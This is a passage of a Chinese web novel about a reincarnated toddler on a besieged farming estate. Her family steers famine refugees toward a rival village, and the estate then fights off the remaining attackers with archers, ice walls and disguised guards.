“河里就是水,水往东流。能有浪花和英雄什么事?”阿沅有点懊恼地捶了一下软软的被子,觉得自己知识太浅薄了。早知道前世学文科就好了,要是学现代汉语言文学,肯定能读懂这些诗句背后的意思,偏偏学了个什么农学,还是水稻种植方向的!真是气死个人了。
“东流?有个成语是什么来着?”孟沅意识里那个更成熟的自己绞尽脑汁,把小学到大学的语文记忆碎片都翻腾了一遍。忽然,灵光一闪!一个成语蹦了出来,然后,就像阻塞的河道被瞬间冲开,她猛地坐了起来,茅塞顿开!
“爹爹,喂饭饭!”晚饭的时候,阿沅格外殷勤,自己主动爬到了坐在轮椅上的爹爹膝盖上,坐稳后,还扭过小身子,贼溜溜、亮闪闪的眼睛先看了看娘亲,又瞄了瞄哥哥,小脸上写满了“我有秘密”。
“窝有好办法!”她宣布道,然后故意拖长了语调,“嘿嘿嘿……”地笑了起来,开始卖关子,小脑袋得意地晃来晃去。
看孟大川笑着舀起一勺肉丸递到她嘴边,她“啊呜”一口吞下;柳氏夹了块炖得烂烂的羊肉喂过来,她也乖乖吃下;孟怀瑾给她挑了块没刺的鱼肉,她照样来者不拒。小嘴忙个不停,大口大口吃得香,可就是不接着说下去。
很快,她的小肚子就以肉眼可见的速度鼓了起来,像个圆圆的小西瓜。可等了半天,都没等到她所期待的、三人迫不及待的追问。
她有点生气了,“不吃了!”鼓起腮帮子,像只小河豚,开始生闷气。再看三人还是故意不说话,笑眯眯看着她,她更气了,身子一扭,就想哧溜一下从爹爹膝盖上滑下去。
“就知道我们家阿沅聪明绝顶,肯定憋着什么好主意呢。”孟大川哪里会让她得逞,大手一捞,稳稳抱紧了她的小屁股,还轻轻拍了两下,开始拍女儿的“香屁”。
“妹妹比哥哥聪明多了,哥哥洗耳恭听。”孟怀瑾吃得很是斯文,这时候也恰到好处地放下筷子,目光温和地看向阿沅,眼里带着鼓励的笑意,仿佛真的充满了期待。
柳氏也配合地叹了口气,脸上浮现出一丁点假得不能再假的神伤,嘴角却忍不住翘起:“唉,娘最没用了,啥都帮不上忙,还……笨,脑子还不如阿沅一半好用。。”
这番“追捧”让阿沅的内心得到了无比的满足,刚才那点小脾气立刻烟消云散。“窝真的有办法!”她急急地说,小手兴奋地比划着,“活水……咦……那里。”手指头坚定地指向了门外院子的方向。
“移不出去啊,”孟大川以为女儿异想天开,想用水攻,摇头笑道,“井水打上来没多久就结成冰了,庄外小溪的冰也还没化。这招怕是不成。”他以为女儿又得了什么“神仙指点”,想引水御敌。
孟怀瑾一脸茫然,完全没跟上妹妹跳跃的思路,看看爹爹,又看看妹妹指向的门外,不明所以。
柳氏也被孟大川的话带偏了,跟着摇了摇头,温声说:“阿沅,神仙姑姑这招,放在眼下怕是不灵了。”她理所当然地又把这主意归功于“神仙姑姑”。
“爹爹笨!”阿沅急了,恨自己口齿不够伶俐,表达不清,更恨自己认识的字太少,一时找不到准确的词。她懊恼地抿着嘴,再次努力组织语言。
第69章 祸水东引
“活水……东夷!”她再一次伸出小手指,这次更明确地指向了白水庄的方向,眼睛瞪得圆圆的,试图让家人明白,“咦去白水庄,懂不?”她把“引”说成了“咦”,小脸因为急切而涨得有些红。
看到三人脸上开始浮现出若有所思的神情,阿沅情绪更激动了,举起了胖乎乎的右手,努力举得老高,像是要发表什么重大宣言:“让灾民……嚯嚯……白水庄!”她用力地说出“嚯嚯”这个拟声词,模仿着混乱、破坏的声响。
“妹妹的意思……”孟怀瑾眼睛猛地一亮,终于品出点味儿来,他把椅子拉得更近,几乎贴着爹爹的轮椅,兴奋地看向爹爹,声音都拔高了些,“是要‘祸水东引’?”
他替妹妹说出了那个成语,随即感叹道:“儿子觉得这主意能行!与其让灾民全冲着我们嘉禾庄来,不如分些‘热闹’到白水庄去。反正……那庄子里住的,本也不是什么好东西!”想到死了那么多年的祖父平白被扣上了顶绿帽子,他稚嫩的脸上闪过与他年龄不符的冷意。
“这倒真是个……好办法!”孟大川愣了片刻,随即眼中精光一闪,饭也顾不上吃了,放下筷子,双手紧紧搂住怀里的女儿,忍不住在她嫩乎乎的脸颊上亲了一口,“我们阿沅怎么那么聪明,还知道祸水东引,谁教你的?”
他朗声冲外面吩咐道:“孟柒!把林庄头叫来,让他再找几个嘴巴严实、行事稳重的婆子一起过来!”
“叫二叔婆和黑丫姐,还有大牛、二牛哥!”阿沅立刻在爹爹怀里补充,小脑袋里飞快地闪过那些得过她“好人卡”、又机灵胆大的人选。
“是!属下马上去办,全听大人和小姐吩咐!”柒叔在门外恭敬应声。
这样的回答,爹爹没有丝毫纠正的意思,完全默许了“听小姐吩咐”的说法。这让小阿沅心里乐开了花,无比开心。
她狡黠地冲坐在对面的哥哥吐了吐舌头,然后得意洋洋地比起了两根手指,在胸前轻轻晃了晃——全听她的!耶!
……
入夜后,朦胧的雪光映照着荒芜的田野,稀疏的枯枝在风中发出呜呜的低鸣。荆棘丛下那个不起眼的狗洞,被厚厚的积雪半掩着,此时却窸窸窣窣地动了起来。
先是探出一只枯瘦的手,扒开积雪和冻硬的荆棘条,接着,一个佝偻的身影艰难地挤了出去,破旧的棉袄挂扯下几缕絮。
是二叔婆。她喘着粗气,警惕地环顾四周,雪光映着她布满皱纹和冻疮的脸,眼神却锐利如刀。
紧跟着她钻出去的是黑丫,她同样黝黑发亮的眼睛在暗夜里格外耀眼,她动作灵巧得像只猫,出来后立刻回身,帮着拉出——大牛和二牛。
四个人的衣服都褴褛不堪,补丁叠着补丁,难以御寒,在寒风里不自觉地发抖。
“就按大爷今晚说的做。”二叔婆压低声音,气息在冷空气中凝成白雾,“大牛二牛,你俩机灵点,混到庄子大门那边去,把水搅浑就行,瑟缩着点,若是发现有什么专门指挥的头子,别靠太前。”
两个小子用力点点头,大牛搓了搓冻僵的手,眼里闪着一股混不吝的劲头;二牛则显得有些紧张,抿着嘴,看了看黑丫。
二叔婆推了他们一把,“快去!仔细着些!办好了,赶紧回来,小心别让人跟着。”两个瘦小的身影立刻猫下腰,借着雪地和阴影的掩护,深一脚浅一脚地朝着庄子大门方向那片黑压压、嘈杂喧闹的人群奔去。
那里,聚集的灾民像一团躁动的乌云,火把的光点零星晃动,咒骂、哭喊、煽动的话语乱糟糟地混成一片。
看着小子们跑远,二叔婆转向黑丫,枯瘦的手拍了拍她的胳膊,咧开牙笑:“丫头,咱祖孙俩往那边去。”她指了指庄子侧面背风处的几丛更大的荆棘乱木。
那里也影影绰绰聚集了不少人,但比起大门前的青壮汉子,这里多以妇孺为主,她们三五成群,瑟缩着挤靠在一起,试图从彼此身上汲取一点微薄的暖意,低低的啜泣和小童虚弱的啼哭声时断时续。
陆陆续续地,还有灾民从镇子方向沿着这条被积雪覆盖的小路蹒跚走来,拖家带口,个个面黄肌瘦,眼神绝望中带着一丝疯狂的希冀,无一例外都汇入嘉禾装这个聚集点。如果说不是有人在背后推波助澜,他们都不信。
“冲进去!都说这个嘉禾庄里头堆满了粮食,地主老财心黑着呢,肯定错不了!”一个嘶哑的男声在人群中喊道。
“对!打进去,不光有吃的,还能抢间遮风挡雨的屋子住!这鬼天气,再在外头待下去,今晚就得冻死!”另一个声音立刻附和,带着一种破釜沉舟的狠厉。
灾民们情绪激动,乱糟糟地议论着,挑唆的,附和咒骂的,茫然询问的,说什么的都有。火光摇曳,照着一张张被饥寒折磨得扭曲的脸,却很难分辨出究竟谁在真正领头。
第70章 混到了人群里
“都什么人在这儿瞎嚷嚷啊?”一个苍老而沙哑的女声忽然从背风的荆棘丛那边响起,压过了些嘈杂。只见二叔婆颤巍巍地扶着一根枯枝站定,黑丫紧紧挨着她,一副怯生生又担忧的样子。
二叔婆提高了声音,带着本地口音和饱经风霜的疲惫:“我们娘两就是附近庄子逃过来的,嘉禾庄?去冬今春,冻死饿死的人不下半数!等着土地解冻能挖坑了,下葬的人能在雪地里排成排!你们去瞧瞧,墙根下都是硬邦邦的尸首!要真有穿有吃,哪能是这副光景?”她的话像一盆冰水,浇在了部分灾民头上。
“不……不会吧?”一个抱着婴儿的妇人哆嗦着嘴唇,绝望地说,“那……那还不如老老实实待在镇子上等施粥,等官府救济呢!害我们忍饥挨饿白走了这十几里雪路,娃……娃都快冻没气了……”她说着,眼泪就滚了下来。
“别不是有人使坏,”黑丫适时地插话,声音清脆却带着惊疑,“怕你们在镇子上聚众闹事,才故意把你们引到这荒郊野外的庄子来吧?庄子再富,还能富过镇上的大户?雪封路都好几个月了,谁家能存下够这么多人吃的粮?我不信!”她眨着黑亮的眼睛,目光在几个躁动的老汉脸上扫过。
“这丫头说得在理啊!”旁边一个老汉用木棍敲了敲地,“肯定是府衙那些坏透了胚子的官差,他们巴不得我们这些灾民早死早干净,省得烦他们!指定是被他们骗了!”
“反正……反正这个嘉禾庄,腊月里我们跟着人来冲进去过一次,”大门旁一个缩在角落里的半大孩子小声嘟囔,脸上带着后怕,“没抢到啥像样的东西,倒是……倒是满地都是死人,……看着可瘆人了,害我做了好几晚噩梦。”
“啊?那不是进去了也白瞎?还得沾一身晦气?”人群里响起更多迟疑的声音。
“嘿!”这时,大牛不知何时从大门那边溜了过来,钻到这边人群外围,故意用不大不小、能让周围人听见的声音说道,“你们都被骗了,这一带我熟得很!最富裕、而且从来没被灾民真正冲破过的,是隔壁的白水庄!来的时候路过,你们没看见?那围墙,清一色青砖到顶,高得很!房子也都是大宅子!”
“哪能看不见?”一个满脸凶相的壮汉啐了一口,“那庄子看着就结实,不富裕哪会建那么高的墙?可咱们现在饿得前胸贴后背,腿都打晃,那高墙大院,能攻得进去才行啊!”
“嘿嘿,这位大哥,这你们就不懂了吧?”二牛也凑了过来,压低声音,神秘兮兮地说,“白水庄西北角,就是背着大路的那一边,墙外不是有片老林子吗?那里头……我们可是事先放了好几架结实的木梯子!”
“对!没错!”大牛抢过话头,眼里闪着光,“原本我们兄弟隔三差五就偷偷爬进去,哪次都能从厨房摸出来大白馒头和剩饭剩菜!有时候运气好,还能拎出来些些白米白面。就是人少劲不大,不敢多拿。”
“何止啊!”二牛舔了舔干裂的嘴唇,呵呵笑得天真,声音充满诱惑,“我还摸到过几两碎银子呢!两处地窖的入口都被我们哥俩寻着了,一个在前院假山石后头,一个在后院柴房垛子底下。乖乖,那锁头,看着就沉,里头指定有好东西!可惜我们人小力薄,没家伙什,不敢硬撬。”
“有这等好事?!”围过来的灾民眼睛顿时亮了,饥肠辘辘的肚子似乎叫得更响了。“那还抢什么要啥没啥、死人堆一样的嘉禾庄啊?咱们到白水庄去!”
“就是!这边人那么多,就算真撞大运抢到点粮食,够几个人分的?白水庄要是真像这俩小子说的……抢到粮食、银子,也算你们一份!”那个凶相壮汉盯着大牛和二牛,威逼着靠过来。
“行!说话算数!”大牛一拍瘦弱的胸脯,“我们早就盼着有像大哥你们这样有劲儿的人来了,光靠我们,看着宝贝干着急啊!”
“走!跟我们来,梯子就在林子里!”大牛转身做出带路的样子。
“嘘——!轻声点!”看到那边有了动静,二叔婆适时地提醒,脸上带着谨慎,“别声张,人多了,动静大,惊动了庄子里的人不说,到时候能分到手里的东西可就少了!”
一开始,只是大牛带着那一小波最躁动、最凶悍的灾民,悄悄脱离人群,朝着白水庄方向摸去。但“白水庄有粮有银、有现成梯子、地窖入口已知”的消息,就像一颗火星掉进了干草堆,在绝望而贪婪的灾民中迅速蔓延开来,都不用二牛领,很多人都跟了上去。
背风处的议论声非但没停,反而更加热烈,充满了新的算计和渴望。没一会儿功夫,一传十,十传百,黑压压的人群开始大规模移动,像一股污浊的泥流,裹挟着将信将疑和急不可耐,跟上去的人竟过了半数。雪地上留下凌乱肮脏的足迹。
当然,也有意志坚定的,或者对白水庄传闻存疑,认为嘉禾庄墙矮,更容易得手的。他们依然围着嘉禾庄的围墙和荆棘丛打转,寻找着可能突破的缝隙,眼中燃烧着不逊于前的急切火焰,等待着不知是否会到来的闯入时机。
看着目的已然达到,身边的人群走了一大批,又因消息扩散从镇子方向新来了一小批,说得口干舌燥、喉咙发干的二叔婆和黑丫互相飞快地使了个眼色。黑丫搀扶住二叔婆,二叔婆则捂着肚子,脸上露出窘迫难受的神色。
“哎哟……这冷风灌的,老婆子我得去解个手……丫头,扶我去那边避避人……”二叔婆有气无力地说着。
旁边的新来灾民只当是寻常老弱内急,并未多在意,他们的注意力早已被“白水庄”吸引,或正专注于眼前的嘉禾庄围墙。
两人颤巍巍、慢吞吞地挪到那处更深的阴影里,警惕地四顾,确认无人特别注意后,迅速俯身。
如同出来时一样,悄无声息地重新钻回了那个隐蔽的、被荆棘覆盖的狗洞之中,身影瞬间被庄内的黑暗吞没。
只留下庄外风雪声中,灾民们纷乱不绝的喧嚣。
好不容易等到二叔婆和黑丫从狗洞钻回来,两人身上还沾着雪沫和枯草屑,脸颊冻得通红,但眼睛却亮得惊人。
她们喘着粗气,快速而清晰地汇报了外头的情况——如何煽动,如何祸水东引,看着大批灾民果真被“白水庄的梯子和地窖”吸引,转而向那边移动。听着她们的讲述。
孟沅心头一松,一股混合着得意和急切的情緒涌上来,就想跟着她们出院墙去看看“战果”。
“大院内的人谁都不能出去!”父亲孟大川低沉而斩钉截铁的声音立刻响起,他虽坐在轮椅上,腰背却挺得笔直,目光扫过孟沅和几个跃跃欲试的丫鬟小厮,
“别给柒叔和庄子里的乡亲们添乱。你们,”他特意看向负责内院的护卫、丫鬟和几个稳重仆妇,“看护好小姐、少爷和夫人,这大院里绝不能进一个外人!若是有点闪失,我唯你们是问!”
第71章 举全村之力勇斗灾民
话语里的不容置疑,瞬间将孟沅那点刚冒头的兴奋打回了三岁原形,她肩膀垮了下来,小脸皱成一团,很是泄气。
泄气的不只是孟沅。旁边,莲子和红袖,正举着刚分到手里、闪着寒光的崭新匕首,比划着,原本也是跃跃欲试,想着万一有不开眼的冲进来也好试试身手。此刻被孟大川一道严令,也像霜打的茄子,觉得无趣极了,悻悻地收起了匕首。
倒是绿果、红豆,得了大爷的命令后,执行力极强。她们生怕自家这位向来不按常理出牌的小姐再想出什么“奇招”,比之前钻狗洞,竟真的招呼了两个粗使婆子,吭哧吭哧搬了好几块沉甸甸的大石头,又寻来一块厚重的大石板,牢牢地将大院那处狗洞从里面堵死、封住。
那石板和石头的分量,莲子和红袖加上孟沅三人使足了吃奶的劲儿也休想撼动分毫。孟沅气得在院子里直跺脚,却也无可奈何。
“爹爹,窝(我)就凑到门缝那儿,看一眼,就一眼!”看到母亲柳氏推着父亲的轮椅到了院子里,孟沅忙小跑上去,殷勤地帮着推轮椅,仰着小脸,试图给自己谋点“观战”的福利。柳氏看着她,眼神里带着无奈和一丝心疼。
“不行!”孟大川没有丝毫通融,指了指已经跃上内院围墙、如同雕塑般靠在大宅院门楼阴影里、背着弓箭的一道黑衣人影,“刀剑无眼,流矢更是难防。谁也不许靠近大门。”他的语气缓和了些,但意思依旧坚决。
阿沅彻底没了指望,两手气鼓鼓地抄在胸前,一屁股坐在高高的正厅门槛上生闷气。就连老北奶奶端来了一碟她平时最爱吃的枣泥糕饼,她也扭过头去,一块也不肯尝。
难得的是,一向手不释卷的孟怀瑾,此刻也没有看书。他安静地坐在妹妹身旁,像一尊沉默的守护像。但他的目光,却早已如同父母一样,穿透了厚重的木门和院墙,投向了庄子外那一片未知的喧嚣与黑暗,清秀的脸上带着与年龄不符的凝重。
没到亥时,围墙外的灾民果然有了大规模的行动。最初的攻击是在庄子大门方向发起的。嘈杂的呐喊声、咒骂声陡然拔高,汇成一片恐怖的声浪,紧接着,便是沉重而钝厚的“砰!砰!砰!”声——那是粗壮的原木,或者不知从哪里拆来的门板梁柱,在疯狂撞击着庄门!每一声撞击,都仿佛敲在庄内众人的心口。
“用力!再用力!门已经开始晃了!只要把门撞开,今晚咱们就有热饭吃、有暖屋住了!”一个声音洪亮、极具穿透力和煽动性的男声在指挥着,这中气十足的叫喊,全然不像是长期挨饿之人能发出的。
守在大门两侧墙头和门楼上的四个黑衣人,眼神冰冷,如同暗夜中的鹰隼。他们不约而同地拉满了手中的硬弓,弓弦绷紧发出细微的“咯吱”声。
只听得“嗖嗖嗖”几声凌厉尖锐的破空之声撕裂喧嚣,黑暗中几乎看不清箭矢的轨迹,门外叫嚣得最厉害、冲在最前面带头撞门的那几个身影,几乎同时发出一声短促的惨呼或闷哼,踉跄着扑倒在地!
“死人了!真的杀人了!”
“门上有弓箭手。”
惊恐的尖叫在撞门的人群中炸开,有人惊慌失措地想往后退,但后面被更多盲目向前涌的人堵得严严实实。
推搡、踩踏瞬间发生!被箭矢吓破胆想后退的,被后面不明所以往前挤的推倒,惨叫着被无数双脚踩踏过去,哭爹喊娘的声音与更加狂躁的“冲啊!”“怕什么,他们没多少箭!”的呐喊混杂在一起,场面彻底失控。
然而,墙头上的黑衣人没有丝毫停顿。他们冷静、迅捷地重复着搭箭、拉弦、瞄准、放箭的动作。连续五六轮齐射,箭羽如同死神的镰刀,精准地收割着冲在最前、喊得最凶的目标。
大门前空地上倒下的身影已经不止二十个,温热的鲜血融化了积雪,留下触目惊心的暗红。
沉重的撞门声终于停了下来,原本挤在最前面的人群,如同潮水撞上礁石般,惊恐地向两侧溃散,后面更多的人开始踉跄着后退,一直退到了十几步,乃至更远。
但墙头上的箭矢威胁并未解除,只要有新的领头者试图聚拢人群,黑暗中便会飞来夺命的箭矢,又将扑倒几个。
大部分灾民终于彻底惜命起来,只敢在远处观望,嘴里虽然还在骂骂咧咧,有人不死心地继续挑唆,但真正向前的脚步却变得迟疑而缓慢,雷声大,雨点小。
“他们的人肯定都集中在大门这了!弓手都在那儿!”人群中有人喊道,“傻子才继续冲门!不如去砍两边和后头的荆棘丛,我就不信他们庄子里能有那么多人手,处处都守得跟铁桶似的!”
“说得对!走!咱们最不缺的就是锄头和砍柴刀!多砍几个口子,一拥而上,我就不信没有一个口子能钻进去!”
“没错!谁家守宅子不是先紧着大门?旁的地方肯定弱!快走,去别处看看!”
有人开始带头,绕过大门前这片死亡地带,沿着围墙根,深一脚浅一脚地往庄子两侧和后面摸索而去。跟过去的人越来越多,大门前的压力为之一轻。
“呸!晦气!”也有人望着高耸的围墙和上面隐约的黑影,啐了一口,“没准白水庄那边这会儿已经得手了呢!老子不在这儿耗了,干脆去白水庄大门外守着,等他们抢开了,说不定也能捞点残羹剩饭,连墙都不用爬!”
抱着这种捡便宜心态的人,也三三两两离开了嘉禾庄外围,朝着白水庄方向散去。
围墙上,黑衣人依旧如磐石般屹立,弓弦始终半张,箭在弦上,警惕的目光扫视着下方黑暗中任何可疑的动向,一刻都不敢放松。
第72章 多种战术
“大人,夫人,请放心。”孟柒沉稳的声音,清晰地从高高的院墙外传进来,气息平稳,仿佛刚才外面那番激烈的攻防与他无关,“局面暂时控制住了,应该没有大碍。夜还长,你们可以稍事休息,养养精神。”
这平静有力的声音,像定心丸一样,让院子里一直屏息静坐、提心吊胆的众人,感到了些许安心。
庄子外的声音依旧很大,各种嘈杂、呐喊、哭骂、诅咒、临死的惨叫声不断传来,但庄子内部,尤其是孟家核心的这座大院,却异样地安静。只有寒风刮过屋檐的呜咽,以及人们压抑的呼吸声。
快一个时辰过去了,似乎真的还没有任何一个灾民能真正突破外围的防御,冲进庄内。
此刻,在黑丫负责带领妇孺守御的西南方向(非狗洞方向,而是另一处荆棘墙),情况却有些微妙。
一群半大孩子、妇人和老人,手里紧紧攥着白天就准备好的、冻得硬邦邦的冰球,紧张地盯着外面荆棘丛的动静。时间一点点过去,手在严寒中早已冻得麻木刺痛,几乎握不住冰球,预期的攻击却迟迟没有大规模到来。
“太……太冷了,手都没知觉了。”一个半大孩子带着哭腔说。
“黑丫姐,能不能……先放下活动一下?或者回去搬个小板凳来坐坐?这么站着,脚也冻僵了。”一个年轻媳妇跺着脚,声音发颤。
“我看啊,他们说不定被大门那边的箭吓破胆,根本不敢来这边了。”一个老汉试着开脱,“总不能就这么傻站一晚上吧?”
“我看还真行,哈哈!”有人试图用玩笑驱散恐惧,紧张的气氛似乎真的松懈了一点点。
“冰球可以放下,但是绝对不能放松!”黑丫厉声喝道,黝黑的脸庞在雪光映衬下格外严肃,眼睛像探照灯一样扫视着前方的荆棘丛,“都给我警醒点!你们看,那边,还有那边,荆棘晃动的厉害,肯定有人在砍!他们不会死心的!”
她说着,不时用脚踢一踢脚边堆着的备用冰球,防止它们冻在地上。她心里那根弦始终绷得紧紧的。
突然,外面传来一阵更加兴奋和集中的喧哗!
“砍通了!这里砍通了,能进了!”
“快!这边也快了,再加把劲!”
“冲啊!抢粮食!抢暖和衣服去!”灾民的声音骤然逼近,仿佛就在眼前,仿佛没有隔断。
守在这段冰墙后的妇孺们心脏骤然缩紧,重新握起了冰球。然而,预想中灾民蜂拥而入的场景并没有立刻发生。外面的喧哗在达到一个顶峰后,竟诡异地停顿了一瞬,然后爆发出一片难以置信的惊呼:
“这……这怎么回事?怎么还有一堵墙?一堵冰墙?!”
站得稍远些的灾民,甚至能透过砍开的荆棘缺口,看到里面那堵在月光雪光下泛着幽蓝寒光、滑不留手的冰墙,以及冰墙后,那一张张紧张却充满敌意的面孔——多是老弱妇孺,但她们手里举着硕大的冰球,牙齿冻得咯咯作响,眼神里却满是拼死的决心和冷冷的杀意。
“你们进来啊!有本事就爬上来试试,看看能不能活着出去!”冰墙后,一个胆大的半大小子率先骂道,还扔出去一个冰球,可惜力气小,没砸到人。
“别浪费冰球!”黑丫立刻喝止,声音镇定,“等他们真的开始爬墙,爬到一半上不去下不来的时候,再给我狠狠地砸!听我号令!”
“横竖饿死冻死也是死,怕个球!老子先上!”外面,一个黑脸彪形大汉被激起了凶性,他退后几步,猛吸一口气,朝着冰墙加速冲来,企图借助冲力爬上冰墙。黑丫见状,嘴角勾起一抹冷笑,双手举起一个沉甸甸的冰球,做出了标准的投掷姿势,眼睛死死盯住那大汉的冲路线。
“妈的!咋……咋这么滑!全部结冰了。”那黑脸大汉的靴子一沾上结着厚厚冰壳的墙面,顿时失去了所有抓地力,冲力变成了向后仰摔的力道。
“哎哟!”他惨叫一声,重重地向后摔在刚砍倒的、满是尖刺的荆棘茬子上,顿时发出一连串痛呼:“我的老腰!哎哟……你们这些蠢货,怎么不把这些砍下来的荆棘拖走!刮老子一脸血!”
“哈哈哈!”黑丫带头放声大笑,冰墙后的紧张气氛被这滑稽的一幕冲淡了不少,士气为之一振。
“上来啊!有本事再上来啊!看不摔死你们!”半大小子们来了劲,扒着冰墙边缘大声挑衅。
“砍刀呢?拿砍刀来!顺着冰墙砍出些坑洼当落脚点!老子就不信今天进不去!”外面的灾民恼羞成怒,显然没有放弃的意思。求生的欲望和可能存在的粮食幻想,驱使他们开始尝试更笨拙但或许有效的方法。
“大家别慌!”黑丫再次高声稳定军心,“他们就算砍出落脚点,爬上来也得费牛劲!一次上不了几个人。等他们爬到顶,没处着力的时候,我们再动手!
记住:老人孩子,力气小的,专门负责用冰球砸他们脑袋、砸他们扒墙的手!半大小子们,拿起你们的柴刀、粪叉,有人滑下来或者摔进来,别犹豫,照死里招呼!都记住了,这不是玩闹,今晚不是他们死,就是我们活!为了咱庄子,为了身后的爹娘娃崽,拼了!”
如同黑丫这边一样,庄子两侧漫长的荆棘围墙各处,凡是容易被突破的地段,都由庄子里的佃户们自发组织起来守御。他们多是老弱妇孺,连二叔婆这样年迈的,大牛二牛这样半大的孩子,都成了某一段的防守主力。
他们依靠着提前浇铸的冰墙、简陋的武器和拼死的勇气,构成了第二道看似脆弱却异常坚韧的防线。
而真正的杀招,其实隐藏在看似毫无防护、实则陷阱重重的西北角荆棘狗洞附近。那里,聚集着孟柒手下最精锐的护卫和巡防队员,他们手持真正的刀枪,甚至还有几架简易的弩,埋伏在暗处,静静等待着。
孟柒本人和几个身手最好的暗卫,做法则更为凌厉诡谲。他们早已换上早就准备好的、与灾民无异的褴褛衣衫,脸上抹了灰土,悄无声息地混出了庄子,潜入了黑压压的灾民人群之中。
他们的目标明确——那些叫嚣得最凶、指挥砍伐最卖力、明显有别于普通饥民的头目或悍匪。
借着夜色和人群的混乱,他们如同幽灵般贴近目标,锋利的短刀从不可思议的角度抹过对方的脖颈或腰肋,然后趁着死者倒地引发的短暂混乱,迅速隐匿、转移,寻找下一个目标。
这种精准而冷酷的军队式“摘除”战术,在灾民中制造了极大的恐慌和混乱,许多地方的攻势都为之一滞,人人自危,不知道身边的“同伴”何时会变成索命的无常。
第73章 屋顶上耶
一大群人原本挤在正堂,有些下人则跑出去在廊下跺着脚、搓着手,都一个多时辰了,廊檐下的灯笼被风吹得晃晃悠悠,光影也跟着摇摆不定。还是没迎来大的激战。
主要是在院子里,啥也看不到,只能听见远处隐隐约约的叫嚷和零星的兵刃碰撞声,闷闷的,像是隔着一层厚厚的棉衣,背上瘙不了痒。
阿沅就是这种感觉。
“大人、夫人,平安无事。”
“大人,夫人,还没有难民能冲破防线。”
孟柒总会在两刻钟左右,准时隔着围墙朝大院里喊一嗓子报平安,声音洪亮又平稳,带着让人安心的力量。
可这情形,怎么跟预想中的刀光剑影、喊杀震天不一样呀?阿沅缩在娘亲温暖的怀抱里,眼皮子开始打架,小脑袋一点一点的。
她不是假装,是确实有点困了,还忍不住打了个小小的呵欠,嘴巴张得圆圆的,像只贪睡的小猫。
“红袖,带小姐进屋去睡;瑾儿,你也别干等着了,明日还要温书,休息去吧。”柳氏觉得自己也困了,实在是从早上到现在,心里的那根弦一直紧绷着,此刻被这漫长的等待和女儿传染的困意一搅和,越发松乏起来。
但看孟大川挺直腰板坐在太师椅上,手握茶盏却一口未饮,目光炯炯地望着大门方向,并没有要回去休息的意思,应该也是劝不动的。她叹了口气,转头吩咐下人:“在屋里多燃个炭盆,添得旺些,你们也别站在廊下了,都进屋暖暖,凳子不够,从花厅搬过来。”
“小姐,别怕,安心睡觉。奴婢就在床边守着,哪儿都不去。”红袖这个忠心鬼,两世都还是这样,声音柔柔的,眼神坚定。
阿沅揉揉眼睛,看着红袖,确实没有什么好担心的,心里暖乎乎的。
“好的,不许偷看哦。”阿沅伸出小手指,努力做出严肃警告的样子,但配上她困倦的小脸,只显得娇憨可爱。
“小姐,放心吧,奴婢不会。”红袖笑着点头,轻轻握住她的小手。
孟沅在红袖帮她脱完厚厚的棉衣,塞进暖烘烘的被窝里时,还强撑着不闭眼。等幔帐一落下,遮住了外间的灯光,她立刻在心里默念,眨眼间就进了空间,舒舒服服地躺在了那张柔软的小床上。
若是老呆在外面,可是会一觉到天亮的,那醒来就没戏可看了,多没意思!
嘿嘿,空间里睡两个时辰,出去就又能生龙活虎啦,还可以看看最后的战斗也不一定呢。阿沅心里美滋滋地期待着,小脚丫在被子里欢快地蹬了两下。
“睡睡睡,快点睡,睡得早,起得早,庄外的世界真热闹……”她心里默念着自编的童谣,也才念了几遍,还真就打起了细细的小呼噜,长长的睫毛像两把小扇子,在粉嫩的脸颊上投下安静的影子。
“空间大大,你真是我肚子里的蛔虫。”再醒过来时,她看向休息室里的那个闹钟,时针分针告诉她居然才过了半个时辰(相当于外面不到两个时辰),正是午夜时分,就知道外面的戏肯定还没唱完呢。
“小桶的快餐面,掰开可以分两餐,都是我的!下次还有得吃。”她得意地皱皱小鼻子。
打开小冰箱,先取出一桶快餐面,掰两半,然后熟练地泡上热水。孟沅心里嘀咕着:里面的储物还是太少了,平时还是得注意多“存”着点才好,就像小松鼠存过冬的粮食一样。
反正外面的包子饺子馒头这么多,半夜里肚子饿了还得麻烦厨房的婆子现蒸了才有得吃,多不方便。但是这空间里好像永远是恒温的,储存吃食应该不会坏吧?没准隔很长时间拿出来,还是热气腾腾的呢。
“好像还有两包羊奶,省着点,先喝一包,另一包还是留着下次喝。”她自言自语,像个精打细算的小管家婆。
再一次打开冰箱,正想取出一包羊奶,孟沅的眼睛一下子瞪得圆溜溜的,像两颗黑葡萄。
原本里面没拆封的切片面包还好端端地放着,羊奶也依然是看见的两包。但是,刚刚取出去泡面的那个空位置,居然不知什么时候又“长”出了一桶崭新的、包装完好的快餐面!
“哈哈!”她忍不住笑出了声,眼睛弯成了月牙,“空间居然有自我填充功能!那是不是说,我把面包呀、馒头呀、饺子呀放进来一餐的量,我就可以吃一辈子,永远也吃不完了?”
吃着久违的、香喷喷的泡面,孟沅越想越高兴,想象靠着这个空间就可以随便躺平的美好场景,忍不住小口吸溜着面条,一边在空间里迈起了小小的、六亲不认的步伐,神气极了。
不过,高兴劲儿过去,问题来了:出了空间后,怎么才能说通执拗的便宜爹爹和温柔的娘亲,让他们同意自己出院子呢?就算不能出去,能在屋顶上看看,悄悄瞄几眼也是好的呀。
她小大人似的用双手托住下巴,好头疼啊。没注意到自己苦恼的同时,已经无意识地蜷缩起小手指,轻轻捏住了掌心那朵淡粉色的小小花形胎记。
只觉身体瞬间一轻,像是被什么柔和的力量托了一下,眼前景物模糊又清晰,忽然感觉自己坐在了什么硬邦邦、硌屁股的东西上,同时身上冷飕飕的,孟沅差点“呀”地一声叫出来,幸好及时用小手捂住了嘴巴。
“咦!这是哪里?”她眨巴着大眼睛,四周一看,还真吓了一跳。因为整个大宅的前院、中庭,连带着远处的影壁,都清清楚楚地呈现在自己的面前,而且是在自己的下方!自己此刻高高在上,比上次被柒叔抱着飞起来越过冰墙的时候还要高得多。
“屋顶上耶!”她小心翼翼地转动小脑袋,看看左边,又看看右边,再低头看看脚下踩着的青灰色瓦片,发现自己正坐在大宅中轴线最高处,堂屋正脊的瓦垄上。
“会不会是对屋神,或者是对土地爷爷的大不敬呀?”孟沅心里有点发虚,忍不住挪了挪小屁股,让自己坐得不那么正,稍微歪向一边,好像这样就能显得谦逊一点。
放眼望去,庄子大门的方向黑沉沉的,很安静,几乎听不到打杀声了,只有夜风呼呼吹过的声音。
第74章 差点被抓个正着
